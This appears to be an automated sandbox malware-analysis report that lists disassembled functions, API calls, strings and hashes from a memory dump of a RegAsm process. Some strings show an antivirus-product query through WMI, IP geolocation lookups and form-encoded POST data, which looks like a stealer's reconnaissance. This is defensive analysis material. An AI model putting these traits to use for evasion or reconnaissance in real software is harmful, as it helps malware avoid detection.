String ID: d}$ilyl$)@Y$/$>P_S[$?[^K^$@$A""$B!!$Content-Type: application/x-www-form-urlencoded$T=$$X<9,9$Z>;.;$Z>;.;$e$e`u`$https://ipgeolocation.io/$https://ipinfo.io/$k$n$sT:$v
API String ID: 0-4177719645
Opcode ID: c69fac34fd74578bc70932fb2d4d19ac021a2ab4666cb2770bc0faa1defa9fc1
Instruction ID: 24a9dbc910c569e681951dc56bc5ac0a8e3ca6e7a66d5dfbea574087c687212a
Opcode Fuzzy Hash: c69fac34fd74578bc70932fb2d4d19ac021a2ab4666cb2770bc0faa1defa9fc1
Instruction Fuzzy Hash: E18313B09052688FDB25CB28CC90BEEBBB1AF49304F0481DAD54DA7242DB796F85CF55

Function 00451590 Relevance: 42.7, APIs: 2, Strings: 21, Instructions: 2466COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004516A8
__aulldiv.LIBCMT ref: 0045251D

Strings

:, xrefs: 0045334E
:, xrefs: 00452A36
:, xrefs: 00453A20
:, xrefs: 00452C7C
:, xrefs: 00452D9F
:, xrefs: 00453B43
:, xrefs: 00452B59
:, xrefs: 004536B7
:, xrefs: 00453594
%, xrefs: 00452589
:, xrefs: 0045322B
:, xrefs: 00453D89
:, xrefs: 004538FD
:, xrefs: 00453EAC
:, xrefs: 00453108
:, xrefs: 00453471
:, xrefs: 00452EC2
:, xrefs: 00453C66
:, xrefs: 00452913
:::, xrefs: 004537CB
:, xrefs: 00452FE5

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:::
API String ID: 3732870572-4246453620
Opcode ID: e1bc2936c7b260920b1ec6cb39e8ca587eba470b968001e25ef5711d4001f7d4
Instruction ID: 93430a602de1e29fd56766729908b417479acb795448e7b1763973fd29f2479b
Opcode Fuzzy Hash: e1bc2936c7b260920b1ec6cb39e8ca587eba470b968001e25ef5711d4001f7d4
Instruction Fuzzy Hash: E1433870D042688BCB25DF64CC91BEEB7B5AF45309F0481DAD54AAB242DB346F88CF59

Function 004302D0 Relevance: 30.9, APIs: 13, Strings: 4, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0043041A
__aulldiv.LIBCMT ref: 00430729

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 004307CF
__aulldiv.LIBCMT ref: 0043083B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00430975
__aulldiv.LIBCMT ref: 00430AAA
__aulldiv.LIBCMT ref: 00430C6A
__fread_nolock.LIBCMT ref: 00430CC1

Strings

jfl4lrk, xrefs: 004304CF, 0043050A
uia, xrefs: 00430440
q, xrefs: 0043052E
a, xrefs: 00430532

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: a$jfl4lrk$q$uia
API String ID: 3493607940-1178032365
Opcode ID: aa9112e1111c58e943fc4d30ff0850fc47dabc0dabb426f6d2606b03c501086a
Instruction ID: 3fd2d9b8191f4be37c28f64966cb930556d41298afaa0333019d17db25d672c4
Opcode Fuzzy Hash: aa9112e1111c58e943fc4d30ff0850fc47dabc0dabb426f6d2606b03c501086a
Instruction Fuzzy Hash: F0B2A2B1D001189FDB24DF64CC91BEEBBB5BB89300F1481AAE509A7391DB386E85CF55

Function 00431370 Relevance: 29.2, APIs: 13, Strings: 3, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 004314BA
__aulldiv.LIBCMT ref: 004317C9

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 0043186F
__aulldiv.LIBCMT ref: 004318DB

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00431A15
__aulldiv.LIBCMT ref: 00431B4A
__aulldiv.LIBCMT ref: 00431D0A
__fread_nolock.LIBCMT ref: 00431D61

Strings

jfl4lrk, xrefs: 0043156F, 004315AA
uia, xrefs: 004314E0
N<,, xrefs: 004315FB

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: N<,$jfl4lrk$uia
API String ID: 3493607940-2166877622
Opcode ID: 9ccadc306ab8dff251ff1a72fb555856aa58642c69a3c71ff10884db5bf66860
Instruction ID: 3018607f9cddadce4a0c00158e03f3b419b435275e08455fcba154be9605763a
Opcode Fuzzy Hash: 9ccadc306ab8dff251ff1a72fb555856aa58642c69a3c71ff10884db5bf66860
Instruction Fuzzy Hash: 08B2A1B1D001189FDB24DF64CC91BEEBBB5BB89300F1481AAE509A7391DB386E85CF55

Function 004348C0 Relevance: 27.7, APIs: 3, Strings: 12, Instructions: 1456COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00435370
__aulldiv.LIBCMT ref: 004356C8
__aulldiv.LIBCMT ref: 00435A24

Strings

d, xrefs: 00435B08
jfl4lrk, xrefs: 00434980, 004349BB, 00435FC8, 00436003
`sfr, xrefs: 004357F7
uia, xrefs: 004348D9, 00435F21
h, xrefs: 00435D8D
Y, xrefs: 00434A7A
-, xrefs: 004349F3
a, xrefs: 00435463
l, xrefs: 00435117
a, xrefs: 00435113
%, xrefs: 00434A76
Q, xrefs: 004349EF

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$-$Q$Y$`sfr$a$a$d$h$jfl4lrk$l$uia
API String ID: 3732870572-2623295770
Opcode ID: 99862536d0d16c8b7831b29a2df8ea31ddd312529e501997add9452c2d13a57e
Instruction ID: 2698e0d1aabc7e6820e5b8049b111ab4558938664cda8045727fe2ecde616827
Opcode Fuzzy Hash: 99862536d0d16c8b7831b29a2df8ea31ddd312529e501997add9452c2d13a57e
Instruction Fuzzy Hash: 77E26770D042688FDB24DB64CC95BEEBBB5BF89304F0481EAE50967281DB386E85CF55

Function 00433190 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0043319D
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004331C3
CoUninitialize.OLE32 ref: 004331D2

Strings

WQL, xrefs: 004332E6
displayName, xrefs: 004333D4
Select * From AntiVirusProduct, xrefs: 004332B5
%ws, xrefs: 00433403
ROOT\SecurityCenter2, xrefs: 00433228

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Initialize$SecurityUninitialize
String ID: %ws$ROOT\SecurityCenter2$Select * From AntiVirusProduct$WQL$displayName
API String ID: 3757020523-4229669714
Opcode ID: 443c45e0fe821ef5f4b0ae9a76ff1eb09b15354f182239f6df41fb409534bcaf
Instruction ID: ff057c8aaf3debd14162008d60dce6c97264dc04225906034aaaf3eec73acab9
Opcode Fuzzy Hash: 443c45e0fe821ef5f4b0ae9a76ff1eb09b15354f182239f6df41fb409534bcaf
Instruction Fuzzy Hash: 22A12A74D00209EFEB14DF94C995BEEB7B0FF48305F20815AE512AB290DB785A85CF55

Function 00508AF0 Relevance: 20.3, APIs: 10, Strings: 1, Instructions: 1016
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?), ref: 00508C27
GetModuleHandleA.KERNEL32(?,?,?), ref: 00508D79
GetModuleHandleA.KERNEL32(?,?,?), ref: 00508ECB
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050901D
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050916F
GetModuleHandleA.KERNEL32(?,?,?), ref: 005092F7
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509491
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050962B
GetModuleHandleA.KERNEL32(?,?,?), ref: 005097C5
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050995F

Strings

yAC, xrefs: 005092C5

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID: yAC
API String ID: 4139908857-2731992227
Opcode ID: 010633e91bfb1d91fe08ec7722674249e76bbef8a4496cad089757426f529960
Instruction ID: d99f80dba328656e3f65cad0eb3786b7e98fd50fddc3ccf79219d22f0cf09ac5
Opcode Fuzzy Hash: 010633e91bfb1d91fe08ec7722674249e76bbef8a4496cad089757426f529960
Instruction Fuzzy Hash: 8FB2F370D052688FDB25CF68CC90BEEBBB1BF89308F1481D9D449AB346DA316A85DF54

Function 00433770 Relevance: 18.4, APIs: 3, Strings: 7, Instructions: 892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004338D4
__aulldiv.LIBCMT ref: 0043398D
__aulldiv.LIBCMT ref: 00434058

Strings

jfl4lrk, xrefs: 00434234, 0043426F, 00434468, 004344A3
uia, xrefs: 00434196, 004343C1
Content-Type: application/x-www-form-urlencoded, xrefs: 0043409D, 004340DD
sT:, xrefs: 00433F7E
P, xrefs: 00433C1E
l/./, xrefs: 004339EF
m, xrefs: 00433C0A

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded$P$jfl4lrk$l/./$m$sT:$uia
API String ID: 3732870572-860416254
Opcode ID: d2f31b791886acfd5faa36a94413df3d4301ed8b24d260a3a0b369cce52407fd
Instruction ID: 74983a986f5eba78967e686a866704e23b88cc2053a86bdf1d1f021cbc8f00ee
Opcode Fuzzy Hash: d2f31b791886acfd5faa36a94413df3d4301ed8b24d260a3a0b369cce52407fd
Instruction Fuzzy Hash: 13921670D002289BDB24DF69CC95BEEBBB1BF89304F1481DAE409A7251DB386E85CF55

Function 004B0570 Relevance: 16.5, APIs: 2, Strings: 5, Instructions: 4224COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004B3520

Strings

%, xrefs: 004B358C
3, xrefs: 004B40CF
&, xrefs: 004B3B13
), xrefs: 004B4696
', xrefs: 004B4299

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: ad9f6218b29e4b839bc8a83b3f2574cf9eb8d2671439f219af3b05dfed17a97d
Instruction ID: 6abaafa3b3166594b6eb924ccdb1099f8eae43118f899b0a21f1240cf5499267
Opcode Fuzzy Hash: ad9f6218b29e4b839bc8a83b3f2574cf9eb8d2671439f219af3b05dfed17a97d
Instruction Fuzzy Hash: 08B3EF709052688FDB65CB28CC90BEEBBB1BF89308F1481DAD44DA7252DB356E85CF54

Function 0046D550 Relevance: 15.6, APIs: 2, Strings: 5, Instructions: 3312COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0046F41F

Strings

), xrefs: 0047051D
', xrefs: 00470144
%, xrefs: 0046F48B
3, xrefs: 0046FF8C
&, xrefs: 0046FA06

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 3579fcab96199ea202629da45894f251f295f73a4d081ad90d932f0072981ade
Instruction ID: 16330d5d00d1868e8cffe4a503bfc30bedaac07937c906e210340438578974ba
Opcode Fuzzy Hash: 3579fcab96199ea202629da45894f251f295f73a4d081ad90d932f0072981ade
Instruction Fuzzy Hash: 4A83EF70D052688FCB65CB28CC90BEEBBB1BF89308F0481DAD54DA7252DA356E85CF55

Function 004815D0 Relevance: 14.9, APIs: 2, Strings: 5, Instructions: 2639COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00482883

Strings

3, xrefs: 004833F0
), xrefs: 00483981
%, xrefs: 004828EF
', xrefs: 004835A8
&, xrefs: 00482E6A

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 534b926810cf64277ed6a64bb75bc12ec957894451ef3d79e0477cbb337046d9
Instruction ID: 1135a3b6afcabe84cb4e1bd8894b26eb427a48e060e7bf27b100ae7d2af9e5b2
Opcode Fuzzy Hash: 534b926810cf64277ed6a64bb75bc12ec957894451ef3d79e0477cbb337046d9
Instruction Fuzzy Hash: F053F270D052688FCB25DB28CC90BEEBBB5BF89308F0481DAD549A7252DB356E85CF54

Function 004C4CB0 Relevance: 14.6, APIs: 2, Strings: 5, Instructions: 2375COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004C5A13

Strings

&, xrefs: 004C5FFA
%, xrefs: 004C5A7F
), xrefs: 004C6B11
', xrefs: 004C6738
3, xrefs: 004C6580

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 791e0922bfad96305ac904990196944a7c5189c05f76ad18a1d522c62691befc
Instruction ID: e390ead8f019053e7922e6b6a7283c241b9dfd7469467c4a2f4122b754787eb6
Opcode Fuzzy Hash: 791e0922bfad96305ac904990196944a7c5189c05f76ad18a1d522c62691befc
Instruction Fuzzy Hash: E8431474D052688FCB65CB28CC91BEDBBB5BF89308F1481DAD509A7252DB346E84CF58

Function 0049A350 Relevance: 14.6, APIs: 2, Strings: 5, Instructions: 2351COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0049B0A4

Strings

', xrefs: 0049BDC9
), xrefs: 0049C1A2
3, xrefs: 0049BC11
%, xrefs: 0049B110
&, xrefs: 0049B68B

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 73ddafe806e2e96cd525ab3ac952a130f2a1e14f5f0d66a91cdc541ccf5e8edc
Instruction ID: f695f3f42c4d7f28f79a4228f666cf5e6c5ed0359505d5ee311d8d6f35569c5f
Opcode Fuzzy Hash: 73ddafe806e2e96cd525ab3ac952a130f2a1e14f5f0d66a91cdc541ccf5e8edc
Instruction Fuzzy Hash: B9430570D052688FCB65CB28CC91BEDBBB5BF89308F0481EAD509A7252DB346E85CF55

Function 00496E50 Relevance: 14.4, APIs: 2, Strings: 5, Instructions: 2179COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004977B1

Strings

%, xrefs: 0049781D
&, xrefs: 00497D98
), xrefs: 004988AF
', xrefs: 004984D6
3, xrefs: 0049831E

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 264c6e65074f59ba0086844a7b77be099be5d925fba1896544863f4d02362722
Instruction ID: c06b399675bea415eb2f1a47a88aec48eb8d29522f3832a2daa008c8ccd515d4
Opcode Fuzzy Hash: 264c6e65074f59ba0086844a7b77be099be5d925fba1896544863f4d02362722
Instruction Fuzzy Hash: C733F470D052688FCB29CB18CC91BEDBBB5BF89308F1481EAD50967252DB356E85CF58

Function 004B6F60 Relevance: 14.4, APIs: 2, Strings: 5, Instructions: 2107COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004B7764

Strings

&, xrefs: 004B7D4B
', xrefs: 004B8489
%, xrefs: 004B77D0
3, xrefs: 004B82D1
), xrefs: 004B8862

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: db9f27e2560bd627717ef05f25459f452fb628759ccee476ba8a5860dfbe7976
Instruction ID: 03c73545198e1fedcbb2e60e4e7bbb626c328fd0f06723adc9742ed58ebe1c31
Opcode Fuzzy Hash: db9f27e2560bd627717ef05f25459f452fb628759ccee476ba8a5860dfbe7976
Instruction Fuzzy Hash: 3B33F470D052688FCB25DB68CC90BEDBBB5BF89308F0481DAD509A7252DB356E85CF58

Function 004C2320 Relevance: 14.1, APIs: 2, Strings: 5, Instructions: 1891COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004C279A

Strings

%, xrefs: 004C27FA
), xrefs: 004C3823
', xrefs: 004C344A
3, xrefs: 004C3292
&, xrefs: 004C2D0C

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 34947c1be402ce267087c0e4e61664015127edaa299c0650457d7102deabe176
Instruction ID: 7995e52eef144f598a301fffad4cf71bda2b4aa7a50df8d3eefd6f864fdc27a4
Opcode Fuzzy Hash: 34947c1be402ce267087c0e4e61664015127edaa299c0650457d7102deabe176
Instruction Fuzzy Hash: 73230374D052688FCB69CF68CC90BEDBBB5BF49308F0481DAD50AA7251DB346A85CF58

Function 004BD190 Relevance: 14.1, APIs: 2, Strings: 5, Instructions: 1819COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004BD4F2

Strings

', xrefs: 004BE15A
), xrefs: 004BE533
%, xrefs: 004BD552
&, xrefs: 004BDA25
3, xrefs: 004BDFA2

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: eea88cf5f1cf681487051903d0cd5e51c057c37338dd7f292425b1261251fd25
Instruction ID: ac954a7909d84e7e277b20f97dc4ac7a908296423e59c01dbb46a2d178e45af8
Opcode Fuzzy Hash: eea88cf5f1cf681487051903d0cd5e51c057c37338dd7f292425b1261251fd25
Instruction Fuzzy Hash: 2C130370D052688FCB29DB68CC91BEDBBB5BF89304F0081DAD50A67252DB346E85CF58

Function 0049DCC0 Relevance: 14.1, APIs: 2, Strings: 5, Instructions: 1819COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0049E022

Strings

3, xrefs: 0049EAD2
', xrefs: 0049EC8A
&, xrefs: 0049E555
), xrefs: 0049F063
%, xrefs: 0049E082

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: bdf2cb7c69f7470b9f3aaa5c6549dc9ef037e29337c7dc918d9087c385ef31aa
Instruction ID: bf819875399952e77ca8d6fae169ab0f51d2becb60e27d762a84e1a0607b8f75
Opcode Fuzzy Hash: bdf2cb7c69f7470b9f3aaa5c6549dc9ef037e29337c7dc918d9087c385ef31aa
Instruction Fuzzy Hash: 6C130370D052688FCB29DB68CC91BEDBBB5BF49308F1081EAD509A7252DB346E85CF54

Function 004BA8A0 Relevance: 14.0, APIs: 2, Strings: 5, Instructions: 1747
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 004BAAEA

Strings

', xrefs: 004BB70D
&, xrefs: 004BB01A
%, xrefs: 004BAB4A
), xrefs: 004BBAE6
3, xrefs: 004BB555

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 59b63a099d8197ac2dfd93cfc9d4c78153ac18bebb9b6bdca7d7d4b67bb9c8b0
Instruction ID: 99c935002cb1e0c06010c291b0ed419c8e76591516b6324618bd076f13abe4d4
Opcode Fuzzy Hash: 59b63a099d8197ac2dfd93cfc9d4c78153ac18bebb9b6bdca7d7d4b67bb9c8b0
Instruction Fuzzy Hash: A5130270D052688FCB29DF68CC91BEDBBB5BF49308F0481DAD50AA7252DB346A85CF54

Function 0047EBB0 Relevance: 14.0, APIs: 2, Strings: 5, Instructions: 1747
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0047EDFA

Strings

', xrefs: 0047FA1D
%, xrefs: 0047EE5A
&, xrefs: 0047F32A
3, xrefs: 0047F865
), xrefs: 0047FDF6

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 0c93225e849627a2e7f75f09d76ef7d53e4cb98bacc969aa69c209ee39dffa1a
Instruction ID: e0775539d3986346ff00ccf1f290e0edf48e51d2b27d48ae40f2da1dc179ddb1
Opcode Fuzzy Hash: 0c93225e849627a2e7f75f09d76ef7d53e4cb98bacc969aa69c209ee39dffa1a
Instruction Fuzzy Hash: E4130370D052688FCB29DB68CC91BEDBBB5BF49304F0481EAD50AA7252DB346E85CF54

Function 00436240 Relevance: 13.4, APIs: 2, Strings: 5, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jfl4lrk, xrefs: 004367A5, 004367E0
uia, xrefs: 004366FE
k, xrefs: 00436496
t, xrefs: 00436412
d, xrefs: 00436C2E

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake
String ID: d$jfl4lrk$k$t$uia
API String ID: 4258034872-956435583
Opcode ID: c5ae36d9c226b2ec4c796dc45fd52d42a11fc641f747d5a73c99ad66b557a281
Instruction ID: 9524169986e5b990c62a52d1269d43d14ddc11d4facd9247741404dea197ba3b
Opcode Fuzzy Hash: c5ae36d9c226b2ec4c796dc45fd52d42a11fc641f747d5a73c99ad66b557a281
Instruction Fuzzy Hash: FDC277B1D002689FDB24DB64CC91BEEBBB1BF49304F0481EAE54967381DB386A85CF55

Function 00440D00 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053E13A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E145
Part of subcall function 0053E13A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E17F

Part of subcall function 0053E0E9: AcquireSRWLockExclusive.KERNEL32(0058E970,-0000857D,?,004312C2,00590F6C), ref: 0053E0F3
Part of subcall function 0053E0E9: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E126
Part of subcall function 0053E0E9: WakeAllConditionVariable.KERNEL32(0058E96C,?,004312C2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E131

__aulldiv.LIBCMT ref: 00441025
__aulldiv.LIBCMT ref: 00441099

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__fread_nolock.LIBCMT ref: 0044122F

Strings

jfl4lrk, xrefs: 00441198, 004411C7
uia, xrefs: 004410DA, 00441109
k, xrefs: 00440E26
{, xrefs: 00440E2A

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock__aulldiv$AcquireRelease$ConditionVariableWake__fread_nolock
String ID: jfl4lrk$k$uia${
API String ID: 577242060-324654032
Opcode ID: 3208212901081132d1be41f754f19562896c7331609badc32665567b0072e2ac
Instruction ID: ed33eb4192bf1c3044d9706a9eff45b65a05af725d8685ce110e35b8a5423efd
Opcode Fuzzy Hash: 3208212901081132d1be41f754f19562896c7331609badc32665567b0072e2ac
Instruction Fuzzy Hash: 03F14DB1D002189FEB14DFA5CC81BEEBBB1BF88304F14819AE509A7381DB746A85CF55

Function 004213A0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00421403

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00421448
__aulldiv.LIBCMT ref: 004215B9
RegOpenKeyExA.KERNEL32(80000001,?,?,?,?,?,?,?,?,00000030,00000000,0000000A,00000000,?,000085A9,00000000), ref: 004215DF
RegCloseKey.ADVAPI32(?), ref: 00421632

Strings

jfl4lrk, xrefs: 00421707, 00421736
uia, xrefs: 00421649, 00421678

Memory Dump Source

Source File: 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: jfl4lrk$uia
API String ID: 2588155767-2838231973
Opcode ID: 25fa8958f647db063b0632926297e6bc91d618c4140b5175ebeb5a7d63400f9d
Instruction ID: 7a05268b0c57471ce61e84b7b992917320b8676e06b8c0f8c862d35f4e6f49b2
Opcode Fuzzy Hash: 25fa8958f647db063b0632926297e6bc91d618c4140b5175ebeb5a7d63400f9d
Instruction Fuzzy Hash: E2C15B70E002189FEB14CFA9DC81BAEBBB6BF98304F14809AE409B7351DB786945CF55

Function 00442750 Relevance: 11.3, APIs: 4, Strings: 2, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053E13A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-0000857D,?,00431295,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E145
